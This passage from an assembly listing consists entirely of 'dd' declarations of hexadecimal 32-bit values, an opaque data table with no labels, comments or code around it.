		dd 5908409Fh, 0A41FA2D7h, 0C42CDA98h, 16F93E05h, 0FB8D9098h
		dd 401E9DEBh, 80CC57CFh, 3511652h, 9C3FB768h, 0D2D75908h
		dd 2266350Bh, 0F0215C35h, 21256309h, 0C8FE5B3Bh, 0A861CAE0h
		dd 0C4240FF3h, 20C7DB3h, 4C5BDE01h, 508E9272h, 4EEC2729h
		dd 2CCC44CDh, 77071EF3h, 11A59D1Ch, 0AED81408h,	685C020Fh
		dd 2A4C6086h, 0DD170F00h, 16872D0Ah, 297716F3h,	92D00D0h
		dd 0E970385Ch, 0F6F0522h, 0CB64D4F2h, 75D70492h, 40E3B26Bh
		dd 9C8989CCh, 8C5E799Dh, 592670B1h, 29C2C5A1h, 0EC872A46h
		dd 7FFA7B49h, 795E0148h, 0A57C8E33h, 6579B9CEh,	0C1C97F85h
		dd 0BEFB1D60h, 32187801h, 25CA3133h, 5CC6408h, 1C607D94h
		dd 0BA266948h, 0C6EE4047h, 4CD29505h, 0E18901FEh, 987B112h
		dd 9474404h, 2572E554h,	0ABE91698h, 0F1175D60h,	1F852CACh
		dd 78CB2915h, 881C4E49h, 5BF989D7h, 5370A94Ah, 83612484h
		dd 0E8B7E90Ch, 0ED879C47h, 2FC355E4h, 0C261038Eh, 625E529Eh
		dd 54E831DAh, 64B86664h, 0AC024Ch, 0B951E289h, 12A64FB0h
		dd 0E1D161h, 377028F2h,	0F0B00118h, 9C9CA4E4h, 71752C30h
		dd 0A9655045h, 310B3B66h, 0BCD0912h, 9D197B7Eh,	4E94E40Dh
		dd 15F0F8A6h, 8B141AB4h, 0A98D50E5h, 38575941h,	6C526182h
		dd 360E9ABFh, 0F6E7CD60h, 133E22B1h, 70884C34h,	5A0E9C5Eh
		dd 524C8051h, 31625A74h, 936C6520h, 51005D10h, 1C133BDDh
		dd 0DBF72681h, 82081D4Bh, 302C3CEEh, 21FE7941h,	5F08000Bh
		dd 0E44F46E9h, 3A646524h, 36330623h, 0D063122h,	0C0095C01h
		dd 4862840Fh, 0C1CED3A8h, 216859D9h, 94BF6820h,	24009433h
		dd 3CA7967Ah, 315C0A4Fh, 86BD66C3h, 0AECFD9E9h,	86CD8102h
		dd 0C01A1055h, 603AF6FFh, 36ED424Ah, 4B49F880h,	71F84003h
		dd 6B650906h, 8264F929h, 689C8008h, 3D752839h, 62D036E9h
		dd 60E8F02Ch, 13051087h, 68F6FA7Fh, 74322D5Ah, 9BF78A5Eh
		dd 0E0F029E3h, 9E7C6568h, 6054B4Ch, 0D51E0110h,	2453E95Ah
		dd 0DE00F73Ch, 0C9AF681h, 95532B4h, 0E83B1A68h,	0D48E1605h
		dd 4885A346h, 0EEB17FCDh, 37F4FFA0h, 6AB22E49h,	2CB1988Eh
		dd 1D05F77Fh, 1E7416C8h, 4292C977h, 1AEAC2A5h, 0BDC13B23h
		dd 6CB353CBh, 7DA32E04h, 50B4449Ah, 0AF414DE9h,	1C545113h
		dd 3980D165h, 58C718D8h, 0CD059A92h, 245308B1h,	534C5C86h
		dd 67084DE8h, 0F84C02ABh, 4306963Fh, 0FD02213Ch, 2FE4EBC1h
		dd 4801E269h, 592858ADh, 893ADC3h, 801F0A2Dh, 2952F058h
		dd 211A8378h, 5288CED2h, 0CABC3259h, 0A30A0499h, 8F27E204h
		dd 88954AC1h, 0C7B14003h, 0E50CAC2Ah, 29010613h, 1921271Ah
		dd 5959CAC8h, 0DC00AAF7h, 2DC16B70h, 4A0535F4h,	7D8DE908h
		dd 6A427DCDh, 456942D0h, 95EC10B8h, 0C4F4C98h, 465F0884h
		dd 2680B210h, 0BD3FE768h, 15F8DA18h, 84B4758Eh,	0A5652D0h
		dd 0A91DB568h, 14CE0CBEh, 81AA3B43h, 5C4EE652h,	55581530h
		dd 12F9A54h, 7AFA5A9Eh,	23942EE9h, 0FA104E83h, 14502CF9h
		dd 84C16514h, 40F659B4h, 0FDD133Bh, 9D10994Ch, 0BF0F0112h
		dd 5D3A68C8h, 0EDC4D678h, 0C14490C9h, 5298594Fh, 365DF4F6h
		dd 79294BB3h, 0CC540B79h, 61544A53h, 0F6EB8343h, 0BB5B7D5Ah
		dd 0F8014700h, 2460AA05h, 260B0E0Ah, 0CB888E46h, 0DA83D14Eh
		dd 53905B66h, 751CB652h, 0F30625B3h, 121D085Ah,	81BC280h
		dd 1092B7Ah, 84A2C2EBh,	4D02731Eh, 0BA63EA87h, 6872D8DCh
		dd 0B419932Ch, 0B3000E44h, 0FED3F601h, 0AD5AC37Bh, 0C8BBDD00h
		dd 0B839F157h, 6AAB00D5h, 0B8503B07h, 99012FC2h, 355D2505h
		dd 89605913h, 0FEDE447h, 2FD72DCCh, 0E82976A0h,	619442E9h
		dd 0F121873Ch, 0AA0C15Eh, 9C71BA68h, 16494F6Ah,	990BA142h
		dd 1929BA44h, 971A1350h, 0AC2E609Fh, 57E51229h,	26921658h
		dd 80051A82h, 167E374h,	582E77C2h, 0AD680344h, 5EFBEAAEh
		dd 2DEAF5EBh, 12B2A6C8h, 4AB35302h, 61CAEB80h, 4F833365h
		dd 29E338EFh, 5AA709D5h, 11687C98h, 0CC4F4B48h,	0E01B64B8h
		dd 58C63D31h, 0D3E9F084h, 6D5C0A26h, 0CAFD0A49h, 6FE63830h
		dd 3207B846h, 57AAE2C4h, 93DF2461h, 260AFE06h, 0EE98F58Dh
		dd 507D88E0h, 9033B308h, 3B6CB49Eh, 286F224Ah, 80205852h
		dd 9B5DEC8h, 452DDE07h,	0D302FFE8h, 675E3EBAh, 73B96139h
		dd 3E0C100h, 6C68531Ch,	0B5CA19ADh, 0F02E32E4h,	105F48FBh
		dd 0B58167Dh, 8566C216h, 0CC62FAA9h, 738DE980h,	0F7051827h
		dd 4433E9D7h, 200AF5Eh,	0C1656159h, 140573E7h, 0BC4F03EFh
		dd 347EF906h, 30130C25h, 90A5665h, 8B90BACCh, 0DEC2D769h
		dd 83A65E79h, 37000621h, 2923D478h, 555A5CD6h, 0A062AC06h
		dd 52171275h, 0B4D4E0E9h
		dd 797EC4B7h, 0C3B1C784h, 63B1217Ch, 0DE769C52h, 96CAF292h
		dd 7784BD4Ch, 0EED1056Ch, 484BBF97h, 676368D0h,	0EAC26348h
		dd 67966BD3h, 65A6E940h, 8C551084h, 0F412AB0h, 81C95D3Ch
		dd 0DFB22CABh, 671AD480h, 0C11A063Bh, 0A0F802E5h, 2FC70501h
		dd 2C7E5C03h, 0EA072D28h, 7D24002Ah, 36055E33h,	0EE90F323h
		dd 7A2D87Dh, 5FE56FC0h,	0E938470Bh, 6C12A1Dh, 68583526h
		dd 0DB51097Fh, 6855955h, 4FD2C303h, 2062224Eh, 17A5680h
		dd 0A151B668h, 6487E974h, 2EB05AABh, 2538F55Dh,	40251E5Fh
		dd 10A5C87h, 0D31C8BDDh, 7EDC1E1h, 0D1A99BE7h, 6E716618h
		dd 0F6248569h, 28182C49h, 80AB0F2Dh, 662151DDh,	46031008h
		dd 0F74D8694h, 51335AA9h, 0C00650D2h, 81C640C0h, 5ED7CA05h
		dd 0B1C07E40h, 0BAD16213h, 9D6B02B7h, 0D001E5C0h, 25E71B40h
		dd 6A50B881h, 3076E0C2h, 2B0C6410h, 6C3E530Fh, 41065C01h
		dd 0F0D02008h, 3D004F73h, 0C776BD2Dh, 0B6DEE93Ah, 41F61D98h
		dd 0F3B15166h, 0CA8F3030h, 0FCBFEA40h, 47C53D2Dh, 51414B74h
		dd 1416DA32h, 0B6FA7548h, 5BDD1327h, 21CDC301h,	5E206F92h
		dd 93705BCh, 89D1F747h,	5150CACEh, 2035FC0Dh, 586CCC2Bh
		dd 0E2700389h, 5B13881Eh, 129E2215h, 0BE00FB01h, 75185666h
		dd 512FB65Fh, 9C28EB5Ch, 1E50F71Dh, 2176F885h, 44293312h
		dd 6974965Ah, 0DEC9C3B8h, 0D8128079h, 6FF6E209h, 0C5E264A9h
		dd 71C0CB92h, 13A40865h, 6FE0BA01h, 8B7C72EBh, 9FF28101h
		dd 3019400Ah, 5B13757Ah, 6A09344Fh, 4B7D8B08h, 64AFB014h
		dd 56784892h, 18618042h, 3044F2FBh, 415A0CA2h, 0EA21D273h
		dd 21855A5Bh, 28133B36h, 0F0688842h, 7CD6660Eh,	9432E954h
		dd 3AA3E90Dh, 0AF33421Eh, 0B980F15Ch, 4C8161E0h, 9543E501h
		dd 45514959h, 4E9FE913h, 68C2875Ch, 7CCC5B0Dh, 0ECF90702h
		dd 6CC1314Ah, 0C80125CCh, 2D13D1ACh, 0BB472709h, 521850Dh
		dd 1B080712h, 0D1890EF2h, 98BCD4Bh, 0EF16BF29h,	34656815h
		dd 6C4841h, 75D050F2h, 1C5814Dh, 8A2FAF13h, 3E5DE889h
		dd 0BADC3CA0h, 0FE2902FAh, 6EEC15Fh, 0A8B5C860h, 109B0D4Ch
		dd 587E1DCAh, 0E21446EAh, 0CD0DEB08h, 0F10C9769h, 435660F7h
		dd 89280CC7h, 0D3010FB1h, 3DCCA941h, 0E4D02F24h, 8B5814C1h
		dd 0C0878714h, 850439E1h, 2A3DB202h, 1584ADFEh,	9B815328h
		dd 0EC44E702h, 0D0BCE968h, 0D7AD506Eh, 5D3B1F65h, 5870495Eh
		dd 0EE54F9A2h, 800721C6h, 0D9F66BE1h, 660EF150h, 0CA883752h
		dd 0E56ABD08h, 87D1E55Ah, 9DE98008h, 44FB6727h,	1600BE97h
		dd 5E352256h, 5EB762F5h, 7F6B8F7Dh, 0DD9B42Ah, 0FD06315Ah
		dd 68F95DCDh, 0B254A598h, 52788463h, 0E9571C20h, 0EE8CAB2Ah
		dd 0B054D482h, 8006A53Dh, 3943BB91h, 602EE7A0h,	875A9164h
		dd 0ABBD20EDh, 714D5C04h, 8099F921h, 419A072Bh,	0D5D4081h
		dd 0EFF2DD64h, 2807679Ch, 0F83059CFh, 4A0F685Bh, 0B73D232Ch
		dd 0DF40C0CAh, 0D9E14E9h, 549A102Dh, 42BF8080h,	0D1B0F07h
		dd 10C2FA01h, 596CC616h, 0D4DA3E5Dh, 2D4DEFF1h,	48BBF55h
		dd 0A9659450h, 8A21CED2h, 24BE2FFCh, 27665914h,	0CEEA112h
		dd 0FD8EE918h, 0B0E3C1B8h, 84C3007Bh, 1DB4EB8h,	1A35E9D9h
		dd 9D8D20DFh, 592D4835h, 4E6AB842h, 43711DB9h, 75BE7CE1h
		dd 25A40B58h, 0B16209B7h, 0DE30FE87h, 17B40B50h, 726163E9h
		dd 0CBA3205Bh, 0DE35310Ch, 930C1Eh, 0D1248E14h,	0E9D3F7E3h
		dd 80CF0A54h, 689F634h,	43340E81h, 225EBA02h, 0E889F242h
		dd 180FF6EFh, 0C4C406Dh, 0BB05ADABh, 0D9BE9C2h,	2668D58Ch
		dd 0C8645260h, 9318A67Ch, 2C58D958h, 0C72DE74h,	4A694687h
		dd 0C6BA45FFh, 7812E2C2h, 31E864FFh, 4A587C6Ah,	5C5863CCh
		dd 0D560A5E9h, 3F4428E2h, 56D02162h, 0BF53C8F7h, 6EDD24Ah
		dd 66D1D068h, 0D04B905h, 93B06589h, 7C7141F5h, 0F3BA26B0h
		dd 4F3916A8h, 15422413h, 323C4900h, 0CF129A7h, 1685F5Eh
		dd 1FF8E9DBh, 0D1F094A6h, 372A8141h, 0E753B6F0h, 186725A0h
		dd 3D423C48h, 1C0B86EBh, 304C8F49h, 3026E12Ah, 73B858E5h
		dd 0ED80070Fh, 0B715D2F5h, 2E31E86h, 414EC712h,	71202968h
		dd 1456135Dh, 0CEC2947Bh, 80520159h, 0E983194Bh, 957E5358h
		dd 0E10BFC34h, 0FC08619Bh, 2851FB68h, 4B0B68A5h, 680466CBh
		dd 0C232D26Dh, 14C00180h, 7727E908h, 4F556426h,	2D180771h
		dd 75B783CBh, 80380FD1h, 8C6FC155h, 192D355Dh, 207B1B85h
		dd 30B575E4h, 5E4AF548h, 0F872882h, 2431FAE5h, 68B243h
		dd 1969FBC1h, 25F10166h, 4BC8EBE9h, 8217A4EEh, 245C2275h
		dd 29151B01h, 1EDE9F7h,	9C24715Ch, 0F214B53Bh, 0B50C924Eh
		dd 781A94Fh, 556DABE1h,	5C826F1Fh, 0F860C127h, 0E4F759CBh
		dd 6C9223F8h, 18333EC9h, 7CE8C1F9h, 68C80A12h, 88C97E26h
		dd 82272F4Bh, 0D95C42DAh, 0DD99BCD9h, 20C85163h, 5364745Eh
		dd 0D6E8F223h, 25CE50CFh, 0FD010070h, 56AFED81h, 35357D05h
		dd 0F3C0C157h, 89624C7Fh, 784CB25Bh, 82504AD6h,	310DC000h
		dd 0E8973843h, 6ABB337Fh, 0F300B99h, 4D4C5783h,	1B10D30Ch
		dd 4E047206h, 8529D749h, 88910C2h, 1F140C68h, 0B76719E9h
		dd 89C920D6h, 34F07713h, 0F544A80h, 520C0764h, 6F0BC7BAh
		dd 68DAF700h, 0A2A81715h, 1834DECh, 2E7C96F4h, 2DEB01B4h
		dd 0CCB7169Bh, 513C80CDh, 5AE38986h, 0F77F3C98h, 71F06DB8h
		dd 0A9199328h, 3081677Ch, 0D8324F30h, 0C7860D06h, 0B1686602h
		dd 0C837E948h, 0B8A6B680h, 0AB30E928h, 9025B8F3h, 2956403Fh
		dd 0F931CF1Ch, 0B98609B5h, 53D9077Bh, 47366368h, 0A1AAA465h
		dd 8D9CBD82h, 0C74AB4Ah, 5C8D50DCh, 0BE48C733h,	0DCFC204h
		dd 0A81BB0C9h, 4771BB16h, 0EA621109h, 5E8291D6h, 109774A6h
		dd 4BBE2623h, 0D01D648h, 0E90CAC0Fh, 0C0A7C8D6h, 4C064CEDh
		dd 0E828A507h, 0D191F98Bh, 0D8D3C72Ch, 1F680A09h, 0F75169h
		dd 0CAFECEB2h, 8003D2F6h, 0B3532CC2h, 0C1D3C33Fh, 3A9C06EBh
		dd 0E9D0055Bh, 0EF1AE433h, 0C3B06978h, 22C2B494h, 61FE5C02h
		dd 0BF5143E9h, 6E500F12h, 665B6F40h, 0A4166ABCh, 42D38272h
		dd 598D01E3h, 1DC5866h,	82D4B8F2h, 0D8EE8308h, 5C381611h
		dd 0F1D70556h, 44F9CD20h, 8208B949h, 494744E9h,	7571C3CAh
		dd 4B887C24h, 6F00C8C7h, 7C14852h, 68DD657Eh, 5611F767h
		dd 18851DD3h, 87C1A9CAh, 49AA3025h, 1267076h, 8202DF9h
		dd 5668AA9Fh, 8827EFA5h, 280B78DCh, 34DCE4F7h, 0E8163FFCh
		dd 2314A5EAh, 0B7E98F8Bh, 0A706B384h, 25D6BEEEh, 0FA42B3B0h
		dd 959E386Ch, 41C008h, 552ABE56h, 0B59861A8h, 0A970A29Dh
		dd 0EB9B68F9h, 0B691E91h, 5322D356h, 16F95E46h,	5F73C3E6h
		dd 512C38F1h, 786D09EDh, 0B050C0C6h, 43B35Bh, 0B558C330h
		dd 0E9C5FE36h, 4F89E04Dh, 487EF58Ah, 1C922701h,	684ADD1Ah
		dd 0F47C7181h, 47883F05h, 10ED2D0Bh, 16D02606h,	0ABE90EC4h
		dd 281205BCh, 366C88C8h, 594A8A9Ah, 7F12246h, 0FED84871h
		dd 3D236809h, 0B30E5F44h, 675DB680h, 0C66328EEh, 51DE80ACh
		dd 0F937EB5h, 0DDF6D4E5h, 4802CDA9h, 5D04607Ah,	4AD1F980h
		dd 29063AA5h, 0F54C7CDCh, 0AFF35072h, 0CCA0973Eh, 50C92A85h
		dd 220C0CCEh, 0E031B187h, 6577210Ah, 4905581Ch,	261CADE9h
		dd 5C25EB47h, 48780120h, 0C10013A3h, 290506E0h,	0DD4C6217h
		dd 0CC2DC110h, 389A2295h
		dd 9B322A29h, 50593438h, 8240ECD0h, 0F229005Fh,	0BF57425Eh
		dd 582C1AF9h, 3334A2BCh, 0CDF22D94h, 9C25533Fh,	29319D0Ah
		dd 0D0F0983Eh, 8180D5EEh, 1A380BCFh, 996052F8h,	0F77FEF87h
		dd 81208D9h, 17E6B720h,	27CCF70h, 9671EA0Ch, 28FBF0E1h
		dd 2384D03Dh, 38CAA502h, 6A195F8h, 0F58F6051h, 6523504Bh
		dd 0A434C5Ah, 0A522A212h, 53F3007Bh, 30042FB6h,	0C288E9EEh
		dd 159E1EACh, 5732E39Fh, 64C435D2h, 2659760Bh, 28D1451Dh
		dd 37A60A0Bh, 1A57D03h,	25E35B2Ah, 2B93C09h, 524266C2h
		dd 94A76367h, 58E66290h, 240CE680h, 1346C6FEh, 5A130F31h
		dd 0A6E9F8C1h, 31952575h, 3312E545h, 58D462E9h,	7867C372h
		dd 0DBB93EFEh, 0CA313FFCh, 0D3EE59B3h, 53081E50h, 879029FAh
		dd 5B0F0564h, 0CCCB8D87h, 34FC2022h, 6E2249Fh, 43E3C2h
		dd 4E197A05h, 7E20AFB0h, 10664AE8h, 9E18BFFBh, 0F66814BCh
		dd 6ED9555Bh, 0B48F067h, 980BD38h, 0EDC13D5Ah, 0DD0DF708h
		dd 140DC581h, 0E3F48C8Dh, 2AE12364h, 0E0D09EE5h, 21D0DF5Ch
		dd 82D0C75Bh, 0CD906AA8h, 0E21C77C1h, 0AFA8118h, 0CA10EF2Fh
		dd 1DDC4007h, 5C570972h, 0DE3CB2D2h, 24DCB2F0h,	589FAF81h
		dd 0DE42D329h, 82B7712Eh, 36CF805Fh, 30AE2FE0h,	30CFDEA3h
		dd 0E9FA2884h, 6B16DB5Fh, 63435C0Bh, 60D98213h,	80E5C5E7h
		dd 6A4EE868h, 5A6F78CCh, 7B7F4937h, 4A59A9E0h, 7E2C118h
		dd 27249396h, 2520184Dh, 0CB02CDC6h, 5DA7250h, 7FF7E92Eh
		dd 0C625A5ABh, 0E90DC455h, 1A2ACACh, 181D0EB8h,	0A97C480Ah
		dd 20BDB074h, 5B5B6B47h, 6EF01B8Dh, 418D757h, 1BBA14Bh
		dd 5D58C201h, 524D096Bh, 145A6849h, 0D67869C2h,	85BB1ED2h
		dd 0C2204962h, 386AF8B8h, 59C18043h, 10A7EDh, 0A6E18185h
		dd 60773B5Eh, 0F979047Fh, 0C4298288h, 7E45E3A7h, 6213454Eh
		dd 0DAC12AC1h, 82159F70h, 180846F1h, 3622428h, 15E2029Ah
		dd 6FF8CBDAh, 1600BD9Ch, 898F6EC5h, 45973CAh, 0F8015AD7h
		dd 7835F55Fh, 0E958C104h, 8351D6F6h, 0F0785DEFh, 596DE9A0h
		dd 0EC38ADBAh, 0C4EA739Bh, 0D917F4EBh, 5C0BD8ABh, 0CC5F5457h
		dd 0CFDF485Eh, 0CBA73D27h, 1D348202h, 1B25B06h,	2E436AD6h
		dd 0FD01C183h, 6BC32562h, 8257E562h, 0D47A76ECh, 26E169D6h
		dd 0C0343C4Ah, 92B116Dh, 0EE972C05h, 26502689h,	39280B6Ah
		dd 0AD2A1AD8h, 0B03D1A74h, 0ED924C4h, 0C3685D82h, 9610A802h
		dd 90C55B92h, 0EAD087E7h, 16299584h, 81B47767h,	0FBDCCB0h
		dd 44237D8Ch, 0E61AC644h, 0F0528398h, 8BF1C25Fh, 0A147509Dh
		dd 0CD3886B2h, 3906C02Dh, 62E1B5ECh, 0DE881619h, 0E00F0D85h
		dd 515887E6h, 0EBD4F5B7h, 0A4AC3A3h, 0A6F44A2Fh, 46890C21h
		dd 4003EA9h, 0E82106EEh, 0B8D8F75Dh, 7449469h, 277016B8h
		dd 50D3A340h, 5CAC700h,	0F76DCF30h, 0CD04DFD2h,	60AED75Ah
		dd 0BA80B9D3h, 175F1889h, 26473245h, 0E20D662Dh, 0D91740B6h
		dd 6E69260Ah, 6B0F3880h, 0F280358Fh, 24860204h,	89D5012Dh
		dd 2820E5ECh, 0FF29F75Ah, 5B074884h, 51E19A10h,	31BF92F0h
		dd 0F1E9F95Ah, 470FA60Eh, 0F157560Bh, 5DAF3F0Fh, 894134E2h
		dd 5BF328F2h, 5C0472CFh, 0CC101368h, 68BC5496h,	2F481D10h
		dd 5E8AAA72h, 3116AD2Dh, 7F4A9333h, 392F4245h, 831D4E7Bh
		dd 47D85D01h, 6F072E24h, 4F29640Bh, 82315972h, 6C88AC4h
		dd 0C0D5DB5Eh, 0FE487824h, 16F53F34h, 1DF3E831h, 4043BE50h
		dd 0D15E0811h, 18026B13h, 408859C8h, 0AB4012EDh, 30382884h
		dd 561E4CA4h, 4F64AF05h, 5E2BA463h, 0D83BA7A1h,	0E9777043h
		dd 0FB42B6AAh, 0D2EEA65Eh, 455B638h, 0CA1EF5BDh, 0E1C4C211h
		dd 8208EEE4h, 42FB0215h, 42FC20E8h, 1564663h, 726FED4Fh
		dd 685B3FDAh, 0E9550517h, 0D54B223Dh, 0F5D707CDh, 2FCC4551h
		dd 7CD73283h, 0C036033h, 516E5039h, 0BF822053h,	0B86A77EAh
		dd 0BBE5470Ah, 565DBB47h, 0F8D1577h, 68C29838h,	0FE4655BCh
		dd 500F58C9h, 3287ED06h, 0FB74EC12h, 6A12C50Ch,	4EF86006h
		dd 1F537AE9h, 0CFE7EA81h, 0EF694C71h, 1B7EFEC2h, 26C229E3h
		dd 44C36434h, 10FACAEFh, 572D4315h, 127B6900h, 51FA3444h
		dd 8374135Eh, 32DC7A96h, 0E2C50DFBh, 41BB1171h,	5CA5323Fh
		dd 42688748h, 52AA690Bh, 317A45Ah, 0F200C3ECh, 2917AE0Ch
		dd 0E4FFD509h, 19264AE5h, 0CD01789Eh, 137D3CF2h, 9DA7D341h
		dd 1B890FE0h, 0FB7FE9EFh, 4FB8CFE8h, 0C103DB1Fh, 0E741025Eh
		dd 19821F3Eh, 16FF893h,	0FB01F94Eh, 36EAD85Fh, 7D0D9495h
		dd 16094BF0h, 56EA802Fh, 8EA85150h, 0CC0A0C7Ch,	62D5823h
		dd 4FB9D63Fh, 0C14B308Ah, 2ADFE760h, 676F9890h,	0B05E6D3h
		dd 47423545h, 0F2DDC05h, 51A35F07h, 0D48F644Eh,	0A6D3C1D8h
		dd 0C380006Ah, 0DA880E31h, 516FF65Bh, 9D70EEC9h, 9E8B06BEh
		dd 25BC59E8h, 925643A4h, 50795EEBh, 20D5ECADh, 17901FB6h
		dd 0C91A3427h, 0CA79A3F7h, 0D9B6FC17h, 0E880406Fh, 160F4A0Dh
		dd 0D452D529h, 4E5A8C08h, 4212406Dh, 763FA7A3h,	8140BB62h
		dd 0E8C9EB81h, 57A12DBh, 40B1959h, 0BCD69043h, 1B83804Eh
		dd 9C570C71h, 220153DDh, 580EC5E5h, 6D9C15Eh, 18CEDF20h
		dd 742284DBh, 3AE25D6Dh, 5BD82902h, 8905E801h, 5683380Ah
		dd 0B5E26168h, 9516B2E9h, 48807C0Bh, 78211621h,	1EF3D71h
		dd 0A1072993h, 16ED27B0h, 5210A35h, 7405D497h, 0C139C340h
		dd 25A0404Ch, 5CA4642Ah, 610B3042h, 0A500C541h,	0DA541CF1h
		dd 0D9F71417h, 7295B001h, 69D50F8Fh, 2C33C9F2h,	16D0ED04h
		dd 7BB37EFAh, 56D3094Eh, 6AACB380h, 0E9122E90h,	8D2937F5h
		dd 0C4DD9CECh, 0ECD15954h, 7C2A1EA0h, 0C38C45DFh, 60E1AB43h
		dd 41B58C04h, 1CC8DEA6h, 0C3AC1609h, 0F0826B73h, 0E9FD0400h
		dd 36DF5EDEh, 0E0E69834h, 0AFD0D190h, 0BCA71397h, 1F26C0B3h
		dd 0EA3187A1h, 300C825Dh, 75955259h, 2C593F9Eh,	46A5A383h
		dd 849E5AC1h, 807FA9D3h, 6275762Bh, 60E92D50h, 0BAE5550Fh
		dd 83E35Ah, 0B252BCB3h,	27D3306Ah, 0F08A41E9h, 0B1EE09ADh
		dd 893FDAF8h, 743715F2h, 0B55F13A0h, 0D4C22B27h, 0E29E55B7h
		dd 0FF8CC24Bh, 0A14F55E9h, 3F67BB71h, 96AEEF21h, 0C32C1E4Ah
		dd 0C2208D9Bh, 0FEA6A231h, 26A15CC9h, 5CF4221Bh, 0F278B15Fh
		dd 4FDEBCDBh, 67429106h, 0A402C025h, 6C8D32Bh, 5DB44EF6h
		dd 4392C877h, 12C8890Fh, 0E9A042A8h, 0B09D3A5Eh, 1DE505B1h
		dd 420C9143h, 3C48252Ch, 0DD087E7Ch, 0B5680506h, 65ED6139h
		dd 75232E47h, 0D37E3F9Dh, 54AC9564h, 0F8565E42h, 0FFDFDBB2h
		dd 0BFFFC05Bh, 0F82C09CDh, 0B402196Dh, 80343716h, 0F442B2B3h
		dd 19295807h, 0DFD34C73h, 24433605h, 3524882Ch,	6F565841h
		dd 7574A12h, 77FE091Ah,	4C994B7Bh, 4B2D3E58h, 9889246Ah
		dd 9905E9ACh, 1222C60h,	807F9B1h, 0D5AC63D5h, 34C4295Eh
		dd 7410FE55h, 6416FA5h,	44E9838Bh, 8959B260h, 0B6A3DD4Ah
		dd 0F5022C48h, 0E770F712h, 36C37260h, 5E525E80h, 530F4554h
		dd 3EA0B24Bh, 59E9DD57h, 93C5A5E3h, 0E9A048B8h,	29C51BCh
		dd 0D1DC280h, 2968D556h, 80FB0765h, 0C40B850h, 314B5855h
		dd 0E90A2B94h, 42300CF6h, 276165CEh, 99C53F1Eh,	3705B91Ch
		dd 73B14AABh, 1057A20h,	297F1733h, 6F93E9EEh, 64BA0100h
		dd 0B83D5437h, 4574A147h, 0C358236Ah, 2BB379C9h, 0EEA49612h
		dd 8B01BE28h, 21DA59CAh
		dd 3791E20h, 0D78FC381h, 59DAC7DCh, 925AD78h, 4C6C9AD3h
		dd 8CB80081h, 0C1626116h, 0F70008E8h, 5DA90DD8h, 0C052553Dh
		dd 0EC394EBEh, 6B02BA60h, 0E908B624h, 2C4F5E74h, 34A08D1h
		dd 0A3E5C00Eh, 99EEC580h, 0EBC0F9EDh, 44069759h, 1290C466h
		dd 5CD70E6Ch, 8B5A12C6h, 0D0094150h, 606E5F6Bh,	5B1F14B1h
		dd 50374B0Dh, 0E7F5FB13h, 25A7525Bh, 7D624CE9h,	5FAFB960h
		dd 3AD1A74Ch, 5C01C06Ah, 2807C8EFh, 0E923981Ch,	0FC714548h
		dd 0DC984C92h, 3869C217h, 6CD5810Dh, 0F4010804h, 0A4E234F5h
		dd 4E6F29CCh, 4E0D8B24h, 831F788Ah, 46C6ECEEh, 583B19DDh
		dd 0E33EA752h, 37ABFC82h, 568E11Ch, 9AD6283Ah, 3C478054h
		dd 130D886Ch, 0B208C7E9h, 33E3072Ah, 9DC22D96h,	20AED2D3h
		dd 0B6ACDAB6h, 508B4793h, 0EA2C90B2h, 0A55F8148h, 0A48FCC2Ah
		dd 30B70166h, 55E933CAh, 7693622Fh, 21E8A097h, 90742C47h
		dd 78AC0EABh, 0E2C34A4Dh, 46BB4330h, 918CEAE0h,	12A8F827h
		dd 0AE3C55B0h, 0DB52B398h, 6FE307EDh, 0C1B2194Dh, 25CECCB7h
		dd 7CE65DBAh, 1836D820h, 4B5F9168h, 89A6D083h, 2374524Bh
		dd 30E9D1F0h, 0D107225h, 620155E3h, 36883563h, 99D47774h
		dd 343C0106h, 43530E25h, 2D942057h, 8D69D01h, 58C5319Bh
		dd 642C127Bh, 0D2F35EB9h, 0F71EA0E1h, 0D12C68ECh, 0DEC4351Bh
		dd 0B151E4D0h, 0E1801CC6h, 0D1F1CE13h, 2DF1CB0Ah, 8B70BE89h
		dd 51209386h, 0C028F4D2h, 163F2D15h, 88B714B1h,	8806075Dh
		dd 9D9E5818h, 2716DB8Eh, 8C7776AEh, 5100C885h, 2F01BA52h
		dd 0C786018h, 4E487D21h, 0C305E913h, 13BB4990h,	61665E67h
		dd 6F2E8943h, 0F5D76434h, 6FE2E3B7h, 80AFD135h,	78FF7EF0h
		dd 303AFC0Dh, 0E992854Ah, 0E644124Eh, 87BC178Bh, 8213EDF5h
		dd 0D17F1068h, 6376AC76h, 8F4B5EF1h, 59E97992h,	0FE1A0865h
		dd 8557530Fh, 5AB95217h, 1E84E7D4h, 0BB66014Fh,	7F308BC8h
		dd 0B632B501h, 1B2E9701h, 0DF84CE12h, 1022ADF6h, 0AF590761h
		dd 0A90B5103h, 0D5E94F54h, 0C2992808h, 465FB968h, 255CA513h
		dd 6BD96E00h, 0F7124612h, 2AE843DBh, 7302268Fh,	0CF25301h
		dd 50C95B69h, 744F208Fh, 58C32912h, 970DD1B4h, 1C5DD0C2h
		dd 0A0E916B0h, 71E7916Ch, 2DCB5A23h, 8662CC58h,	5DE827C3h
		dd 425E3C42h, 13E3550h,	5220574Bh, 4D73CF68h, 3B58E0E5h
		dd 4CA627h, 150862Bh, 83DE807Ch, 0E9C8A704h, 540E4BDAh
		dd 414713C6h, 44A2E64Eh, 7D90B880h, 3FB676B2h, 67577516h
		dd 0C290BBA6h, 3926890h, 0B461746Eh, 84B401DBh,	0E90805CFh
		dd 7829F1FAh, 88072E24h, 193D4C16h, 652EEED9h, 0B39A20E5h
		dd 212B1D3h, 248167E9h,	0DC9FD04h, 42AD9D1h, 733F290h
		dd 0F307DDB6h, 67D5E594h, 2FEBCC04h, 1CC49FC1h,	0CB27CF55h
		dd 60C83BF2h, 0D5AF4503h, 502821ACh, 0B680CACh,	93427A17h
		dd 0FA6E920Ah, 0F2139789h, 78AC8BA0h, 66530930h, 7602CB68h
		dd 0CBDEBC51h, 7DDDB840h, 313C133Ah, 6400BC1h, 6912CD79h
		dd 7CF72410h, 8F796E45h, 0CC10884Bh, 0F652FB60h, 7AF580D5h
		dd 2FEFDCD9h, 0CE00F28Bh, 4D8949B3h, 0C6DA83B7h, 198ED962h
		dd 0BDD133Bh, 73C9ED1Dh, 18472CD8h, 0F188EB29h,	0FA12F668h
		dd 2E6BB2CBh, 1024DDF6h, 65585Bh, 59EC30F8h, 0E58E528h
		dd 4BB05066h, 2EDEC5EEh, 0E9BB0479h, 4022F1E3h,	27659560h
